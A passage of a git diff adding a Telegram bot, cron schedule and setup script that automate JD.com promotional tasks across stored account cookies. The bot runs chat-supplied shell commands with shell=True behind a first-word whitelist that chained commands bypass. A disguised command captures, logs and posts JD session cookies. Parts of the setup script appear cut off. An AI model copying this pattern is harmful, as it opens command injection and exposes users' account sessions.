= [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("temp"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + temp_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in temp_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的短期临时活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_daily_code(update, context): + """ + 每天变化互助码活动提交消息生成 + """ + daily_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("daily"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + daily_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in daily_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的每天变化活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def shcmd(update, context): + """ + 执行终端命令,超时时间为60,执行耗时或者不退出的指令会报超时异常 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/cmd') + if len(commands) > 0: + support_cmd = ["echo", "ls", "pwd", "cp", "mv", "ps", "wget", "cat", "sed", "git", "apk", "sh", + "docker_entrypoint.sh"] + if commands[0] in support_cmd: + sp_cmd = ["sh", "docker_entrypoint.sh"] + cmd = ' '.join(commands) + try: + # 测试发现 subprocess.check_output 执行shell 脚本文件的时候无法正常执行获取返回结果 + # 所以 ["sh", "docker_entrypoint.sh"] 指令换为 subprocess.Popen 方法执行 + out_text = "" + if commands[0] in sp_cmd: + p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + while p.poll() is None: + line = p.stdout.readline() + # logger.info(line.decode('utf-8')) + out_text = out_text + line.decode('utf-8') + else: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=60, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + + if len(out_text.split('\n')) > 50: + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'cmd', commands[0]) + with open(log_name, 'w') as wf: + wf.write(out_text) + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except Exception as e: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + logger.error(e) + else: + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown( + f' →→→ {commands[0]}指令不在支持命令范围,请输入其他支持的指令{"|".join(support_cmd)} ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text( + text='```{}```'.format(helpers.escape_markdown(' →→→ 请在/cmd 后写自己需要执行的指的命令 ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +# getSToken请求获取,s_token用于发送post请求是的必须参数 +s_token = "" +# getSToken请求获取,guid,lsid,lstoken用于组装cookies +guid, lsid, lstoken = "", "", "" +# 由上面参数组装生成,getOKLToken函数发送请求需要使用 +cookies = "" +# getOKLToken请求获取,token用户生成二维码使用、okl_token用户检查扫码登录结果使用 +token, okl_token = "", "" +# 最终获取到的可用的cookie +jd_cookie = "" + + +def get_jd_cookie(update, context): + getSToken() + getOKLToken() + + qr_code_path = genQRCode() + photo_file = open(qr_code_path, 'rb') + photo_message = context.bot.send_photo(chat_id=update.effective_chat.id, photo=photo_file, + caption="请使用京东APP扫描二维码获取Cookie(二维码有效期:3分钟)") + photo_file.close() + + return_msg = chekLogin() + if return_msg == 0: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.send_message(chat_id=update.effective_chat.id, text="获取Cookie成功\n`%s`" % jd_cookie, + parse_mode=ParseMode.MARKDOWN_V2) + + elif return_msg == 21: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text="二维码已经失效,请重新获取") + else: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text=return_msg) + + +def getSToken(): + time_stamp = int(time.time() * 1000) + get_url = 'https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp + get_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com' + } + try: + resp = requests.get(url=get_url, headers=get_header) + parseGetRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + logger.info(resp.json()) + except Exception as error: + logger.exception("Get网络请求异常", error) + + +def parseGetRespCookie(headers, get_resp): + global s_token + global cookies + s_token = get_resp.get('s_token') + set_cookies = headers.get('set-cookie') + logger.info(set_cookies) + + guid = re.findall(r"guid=(.+?);", set_cookies)[0] + lsid = re.findall(r"lsid=(.+?);", set_cookies)[0] + lstoken = re.findall(r"lstoken=(.+?);", set_cookies)[0] + + cookies = f"guid={guid}; lang=chs; lsid={lsid}; lstoken={lstoken}; " + logger.info(cookies) + + +def getOKLToken(): + post_time_stamp = int(time.time() * 1000) + post_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=%s&v=%s&remember=true' % ( + s_token, post_time_stamp) + post_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % post_time_stamp, + 'source': 'wq_passport' + } + post_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'Cookie': cookies, + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % post_time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com', + } + try: + global okl_token + resp = requests.post(url=post_url, headers=post_header, data=post_data, timeout=20) + parsePostRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + except Exception as error: + logger.exception("Post网络请求错误", error) + + +def parsePostRespCookie(headers, data): + global token + global okl_token + + token = data.get('token') + print(headers.get('set-cookie')) + okl_token = re.findall(r"okl_token=(.+?);", headers.get('set-cookie'))[0] + + logger.info("token:" + token) + logger.info("okl_token:" + okl_token) + + +def genQRCode(): + global qr_code_path + cookie_url = f'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=%s' % token + version, level, qr_name = myqr.run( + words=cookie_url, + # 扫描二维码后,显示的内容,或是跳转的链接 + version=5, # 设置容错率 + level='H', # 控制纠错水平,范围是L、M、Q、H,从左到右依次升高 + picture='/scripts/docker/bot/jd.png', # 图片所在目录,可以是动图 + colorized=True, # 黑白(False)还是彩色(True) + contrast=1.0, # 用以调节图片的对比度,1.0 表示原始图片。默认为1.0。 + brightness=1.0, # 用来调节图片的亮度,用法同上。 + save_name='/scripts/docker/genQRCode.png', # 控制输出文件名,格式可以是 .jpg, .png ,.bmp ,.gif + ) + return qr_name + + +def chekLogin(): + expired_time = time.time() + 60 * 3 + while True: + check_time_stamp = int(time.time() * 1000) + check_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=%s&ou_state=0&okl_token=%s' % ( + token, okl_token) + check_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % check_time_stamp, + 'source': 'wq_passport' + + } + check_header = { + 'Referer': f'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % check_time_stamp, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + + } + resp = requests.post(url=check_url, headers=check_header, data=check_data, timeout=30) + data = resp.json() + if data.get("errcode") == 0: + parseJDCookies(resp.headers) + return data.get("errcode") + if data.get("errcode") == 21: + return data.get("errcode") + if time.time() > expired_time: + return "超过3分钟未扫码,二维码已过期。" + + +def parseJDCookies(headers): + global jd_cookie + logger.info("扫码登录成功,下面为获取到的用户Cookie。") + set_cookie = headers.get('Set-Cookie') + pt_key = re.findall(r"pt_key=(.+?);", set_cookie)[0] + pt_pin = re.findall(r"pt_pin=(.+?);", set_cookie)[0] + logger.info(pt_key) + logger.info(pt_pin) + jd_cookie = f'pt_key={pt_key};pt_pin={pt_pin};' + + +def saveFile(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + js_file_name = update.message.document.file_name + if str(js_file_name).endswith(".js"): + save_path = f"{_base_dir}{js_file_name}" + try: + # logger.info(update.message) + file = context.bot.getFile(update.message.document.file_id) + file.download(save_path) + keyboard_line = [[InlineKeyboardButton('node 执行', callback_data='node %s ' % save_path), + InlineKeyboardButton('spnode 执行', + callback_data='spnode %s' % save_path)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + + reply_markup = InlineKeyboardMarkup(keyboard_line) + + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 上传至/scripts完成,请请选择需要的操作 ↓↓↓ ' % js_file_name)), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + + except Exception as e: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ %s js上传至/scripts过程中出错,请重新尝试。 ←←← " % js_file_name)), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ 抱歉,暂时只开放上传js文件至/scripts目录 ←←← ")), + parse_mode=ParseMode.MARKDOWN_V2) + + +def unknown(update, context): + """回复用户输入不存在的指令 + """ + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + update.message.reply_text(text="⚠️ 您输入了一个错误的指令,请参考说明使用\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme, + parse_mode=ParseMode.HTML) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def error(update, context): + """Log Errors caused by Updates.""" + logger.warning('Update "%s" caused error "%s"', update, context.error) + context.bot.send_message( + 'Update "%s" caused error "%s"', update, context.error) + + +def main(): + global admin_id, bot_token, crontab_list_file + + if 'TG_BOT_TOKEN' in os.environ: + bot_token = os.getenv('TG_BOT_TOKEN') + + if 'TG_USER_ID' in os.environ: + admin_id = os.getenv('TG_USER_ID') + + if 'CRONTAB_LIST_FILE' in os.environ: + crontab_list_file = os.getenv('CRONTAB_LIST_FILE') + else: + crontab_list_file = 'crontab_list.sh' + + logger.info('CRONTAB_LIST_FILE=' + crontab_list_file) + + # 创建更新程序并参数为你Bot的TOKEN。 + updater = Updater(bot_token, use_context=True) + + # 获取调度程序来注册处理程序 + dp = updater.dispatcher + + # 通过 start 函数 响应 '/start' 命令 + dp.add_handler(CommandHandler('start', start)) + + # 通过 start 函数 响应 '/help' 命令 + dp.add_handler(CommandHandler('help', start)) + + # 通过 node 函数 响应 '/node' 命令 + dp.add_handler(CommandHandler('node', node)) + + # 通过 node 函数 响应 '/spnode' 命令 + dp.add_handler(CommandHandler('spnode', spnode)) + + # 通过 git 函数 响应 '/git' 命令 + dp.add_handler(CommandHandler('git', git)) + + # 通过 crontab 函数 响应 '/crontab' 命令 + dp.add_handler(CommandHandler('crontab', crontab)) + + # 通过 logs 函数 响应 '/logs' 命令 + dp.add_handler(CommandHandler('logs', logs)) + + # 通过 cmd 函数 响应 '/cmd' 命令 + dp.add_handler(CommandHandler('cmd', shcmd)) + + # 通过 callback_run 函数 响应相关按钮命令 + dp.add_handler(CallbackQueryHandler(callback_run)) + + # 通过 env 函数 响应 '/env' 命令 + dp.add_handler(CommandHandler('env', env)) + + # 通过 gen_long_code 函数 响应 '/gen_long_code' 命令 + dp.add_handler(CommandHandler('gen_long_code', gen_long_code)) + + # 通过 gen_temp_code 函数 响应 '/gen_temp_code' 命令 + dp.add_handler(CommandHandler('gen_temp_code', gen_temp_code)) + + # 通过 gen_daily_code 函数 响应 '/gen_daily_code' 命令 + dp.add_handler(CommandHandler('gen_daily_code', gen_daily_code)) + + # 通过 get_jd_cookie 函数 响应 '/eikooc_dj_teg' 命令 #别问为啥这么写,有意为之的 + dp.add_handler(CommandHandler('eikooc_dj_teg', get_jd_cookie)) + + # 文件监听 + dp.add_handler(MessageHandler(Filters.document, saveFile)) + + # 没找到对应指令 + dp.add_handler(MessageHandler(Filters.command, unknown)) + + # 响应普通文本消息 + # dp.add_handler(MessageHandler(Filters.text, resp_text)) + + dp.add_error_handler(error) + + updater.start_polling() + updater.idle() + + +# 生成依赖安装列表 +# pip3 freeze > requirements.txt +# 或者使用pipreqs +# pip3 install pipreqs +# 在当前目录生成 +# pipreqs . --encoding=utf8 --force +# 使用requirements.txt安装依赖 +# pip3 install -r requirements.txt +if __name__ == '__main__': + main() diff --git a/docker/bot/requirements.txt b/docker/bot/requirements.txt new file mode 100644 index 0000000..b1c0bea --- /dev/null +++ b/docker/bot/requirements.txt @@ -0,0 +1,4 @@ +python_telegram_bot==13.0 +requests==2.23.0 +MyQR==2.3.1 +telegram==0.0.1 diff --git a/docker/bot/setup.py b/docker/bot/setup.py new file mode 100644 index 0000000..a1be8e0 --- /dev/null +++ b/docker/bot/setup.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-21 + +from setuptools import setup + +setup( + name='jd-scripts-bot', + version='0.2', + scripts=['jd_bot', ], +) diff --git a/docker/crontab_list.sh b/docker/crontab_list.sh new file mode 100644 index 0000000..d692ee3 --- /dev/null +++ b/docker/crontab_list.sh @@ -0,0 +1,141 @@ +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecodeCollection' | xargs rm -rf +#收集助力码 +30 * * * * sh +x /scripts/docker/auto_help.sh collect >> /scripts/logs/auto_help_collect.log 2>&1 + +##############短期活动############## +#女装盲盒 活动时间:2021-05-24到2021-06-22 +35 1,22 * * * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 + +#京东极速版红包(活动时间:2021-5-5至2021-5-31) +45 0,23 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 + +#超级直播间红包雨(活动时间不定期,出现异常提示请忽略。红包雨期间会正常) +1,31 0-23/1 * * * node /scripts/jd_live_redrain.js >> /scripts/logs/jd_live_redrain.log 2>&1 + +#每日抽奖(活动时间:2021-05-01至2021-05-31) +13 1,22,23 * * * node /scripts/jd_daily_lottery.js >> /scripts/logs/jd_daily_lottery.log 2>&1 + +#手机狂欢城 +0 0,12,18,21 * * * node /scripts/jd_carnivalcity.js >> /scripts/logs/jd_carnivalcity.log 2>&1 +#618动物联萌 +33 0,6-23/2 * * * node /scripts/jd_zoo.js >> /scripts/logs/jd_zoo.log 2>&1 +#618动物联萌专门收集金币(每小时的第30分运行一次) +0-59/30 * * * * node /scripts/jd_zooCollect.js >> /scripts/logs/jd_zooCollect.log 2>&1 +#家电星推官 活动时间:2021年5月27日 00:00:00-2021年6月18日 23:59:59 +0 0 * * * node /scripts/jd_xtg.js >> /scripts/logs/jd_xtg.log 2>&1 +#家电星推官好友互助 活动时间:2021年5月27日 00:00:00-2021年6月18日 23:59:59 +0 0 * * * node /scripts/jd_xtg_help.js >> /scripts/logs/jd_xtg_help.log 2>&1 +#金榜创造营 活动时间:2021-05-21至2021-12-31 +0 1,22 * * * node /scripts/jd_gold_creator.js >> /scripts/logs/jd_gold_creator.log 2>&1 +#5G超级盲盒(活动时间:2021-06-2到2021-07-31) +0 0-23/4 * * * node /scripts/jd_mohe.js >> /scripts/logs/jd_mohe.log 2>&1 +#明星小店(星店长,2021-06-10) +0 1,21 * * * node /scripts/jd_star_shop.js >> /scripts/logs/jd_star_shop.log 2>&1 +#新潮品牌狂欢(6.18过期) +20 1,21 * * * node /scripts/jd_mcxhd.js >> /scripts/logs/jd_mcxhd.log 2>&1 +#京喜领88元红包(6.31到期) +30 1,6,12,21 * * * node /scripts/jd_jxlhb.js >> /scripts/logs/jd_jxlhb.log 2>&1 +#省钱大赢家之翻翻乐 +10,40 * * * * node /scripts/jd_big_winner.js >> /scripts/logs/jd_big_winner.log 2>&1 +##############长期活动############## +# 签到 +7 0,17 * * * cd /scripts && node jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +# 东东超市兑换奖品 +0,30 0 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +# 摇京豆 +6 0,23 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# 东东农场 +15 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +# 宠汪汪 +45 */2,23 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +# 宠汪汪积分兑换京豆 +0 0-16/8 * * * node /scripts/jd_joy_reward.js >> /scripts/logs/jd_joy_reward.log 2>&1 +# 宠汪汪喂食 +35 */1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +# 宠汪汪邀请助力 +10 13-20/1 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +# 摇钱树 +23 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 东东萌宠 +35 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +# 京东种豆得豆 +10 7-22/1 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +# 京东全民开红包 +12 0-23/4 * * * node /scripts/jd_redPacket.js >> /scripts/logs/jd_redPacket.log 2>&1 +# 进店领豆 +6 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +# 东东超市 +31 0,1-23/2 * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +# 取关京东店铺商品 +45 23 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +# 京豆变动通知 +20 10 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +# 京东抽奖机 +0 0,12,23 * * * node /scripts/jd_lotteryMachine.js >> /scripts/logs/jd_lotteryMachine.log 2>&1 +# 京东排行榜 +21 9 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# 天天提鹅 +28 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 金融养猪 +32 0-23/6 * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# 京喜工厂 +50 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +# 东东小窝 +46 6,23 * * * node /scripts/jd_small_home.js >> /scripts/logs/jd_small_home.log 2>&1 +# 东东工厂 +26 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# 赚京豆(微信小程序) +12 * * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +# 京东快递签到 +47 1 * * * node /scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +# 京东汽车(签到满500赛点可兑换500京豆) +0 0 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +# 领京豆额外奖励(每日可获得3京豆) +23 1,12,22 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +# 微信小程序京东赚赚 +6 0-5/1,11 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +# crazyJoy自动每日任务 +30 7,23 * * * node /scripts/jd_crazy_joy.js >> /scripts/logs/jd_crazy_joy.log 2>&1 +# 京东汽车旅程赛点兑换金豆 +0 0 * * * node /scripts/jd_car_exchange.js >> /scripts/logs/jd_car_exchange.log 2>&1 +# 导到所有互助码 +23 7 * * * node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# 口袋书店 +38 8,12,18 * * * node /scripts/jd_bookshop.js >> /scripts/logs/jd_bookshop.log 2>&1 +# 京喜农场 +30 9,12,18 * * * node /scripts/jd_jxnc.js >> /scripts/logs/jd_jxnc.log 2>&1 +# 签到领现金 +10 */4 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +# 闪购盲盒 +47 8,22 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# 京东秒秒币 +10 6,21 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +#美丽研究院 +41 7,12,19 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京东保价 +#41 0,23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#京东极速版签到+赚现金任务 +21 1,6 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +#监控crazyJoy分红 +10 12 * * * node /scripts/jd_crazy_joy_bonus.js >> /scripts/logs/jd_crazy_joy_bonus.log 2>&1 +#京喜财富岛 +5 7,12,18 * * * node /scripts/jd_cfd.js >> /scripts/logs/jd_cfd.log 2>&1 +# 删除优惠券(默认注释,如需要自己开启,如有误删,已删除的券可以在回收站中还原,慎用) +#20 9 * * 6 node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +#家庭号 +10 6,7 * * * node /scripts/jd_family.js >> /scripts/logs/jd_family.log 2>&1 +#京东直播(又回来了) +30-50/5 12,23 * * * node /scripts/jd_live.js >> /scripts/logs/jd_live.log 2>&1 +#京东健康社区 +13 1,6,22 * * * node /scripts/jd_health.js >> /scripts/logs/jd_health.log 2>&1 +#京东健康社区收集健康能量 +5-45/20 * * * * node /scripts/jd_health_collect.js >> /scripts/logs/jd_health_collect.log 2>&1 +# 幸运大转盘 +10 10,23 * * * node /scripts/jd_market_lottery.js >> /scripts/logs/jd_market_lottery.log 2>&1 +# 领金贴 +5 0 * * * node /scripts/jd_jin_tie.js >> /scripts/logs/jd_jin_tie.log 2>&1 +# 跳跳乐瓜分京豆 +15 0,12,22 * * * node /scripts/jd_jump.js >> /scripts/logs/jd_jump.log 2>&1 +#京喜牧场 +15 0,12,22 * * * node /scripts/jd_jxmc.js >> /scripts/logs/jd_jxmc.log 2>&1 diff --git a/docker/default_task.sh b/docker/default_task.sh new file mode 100644 index 0000000..7cc7e18 --- /dev/null +++ b/docker/default_task.sh @@ -0,0 +1,252 @@ +#!/bin/sh +set -e + +# 放在这个初始化python3环境,目的减小镜像体积,一些不需要使用bot交互的用户可以不用拉体积比较大的镜像 +# 在这个任务里面还有初始化还有目的就是为了方便bot更新了新功能的话只需要重启容器就完成更新 +function initPythonEnv() { + echo "开始安装运行jd_bot需要的python环境及依赖..." + apk add --update python3-dev py3-pip py3-cryptography py3-numpy py-pillow + echo "开始安装jd_bot依赖..." + #测试 + #cd /jd_docker/docker/bot + #合并 + cd /scripts/docker/bot + pip3 install --upgrade pip + pip3 install -r requirements.txt + python3 setup.py install +} + +#启动tg bot交互前置条件成立,开始安装配置环境 +if [ "$1" == "True" ]; then + initPythonEnv + if [ -z "$DISABLE_SPNODE" ]; then + echo "增加命令组合spnode ,使用该命令spnode jd_xxxx.js 执行js脚本会读取cookies.conf里面的jd cokie账号来执行脚本" + ( + cat </usr/local/bin/spnode + chmod +x /usr/local/bin/spnode + fi + + echo "spnode需要使用的到,cookie写入文件,该文件同时也为jd_bot扫码获自动取cookies服务" + if [ -z "$JD_COOKIE" ]; then + if [ ! -f "$COOKIES_LIST" ]; then + echo "" >"$COOKIES_LIST" + echo "未配置JD_COOKIE环境变量,$COOKIES_LIST文件已生成,请将cookies写入$COOKIES_LIST文件,格式每个Cookie一行" + fi + else + if [ -f "$COOKIES_LIST" ]; then + echo "cookies.conf文件已经存在跳过,如果需要更新cookie请修改$COOKIES_LIST文件内容" + else + echo "环境变量 cookies写入$COOKIES_LIST文件,如果需要更新cookie请修改cookies.conf文件内容" + echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" >$COOKIES_LIST + fi + fi + + CODE_GEN_CONF=/scripts/logs/code_gen_conf.list + echo "生成互助消息需要使用的到的 logs/code_gen_conf.list 文件,后续需要自己根据说明维护更新删除..." + if [ ! -f "$CODE_GEN_CONF" ]; then + ( + cat <$CODE_GEN_CONF + else + echo "logs/code_gen_conf.list 文件已经存在跳过初始化操作" + fi + + echo "容器jd_bot交互所需环境已配置安装已完成..." + curl -sX POST "https://api.telegram.org/bot$TG_BOT_TOKEN/sendMessage" -d 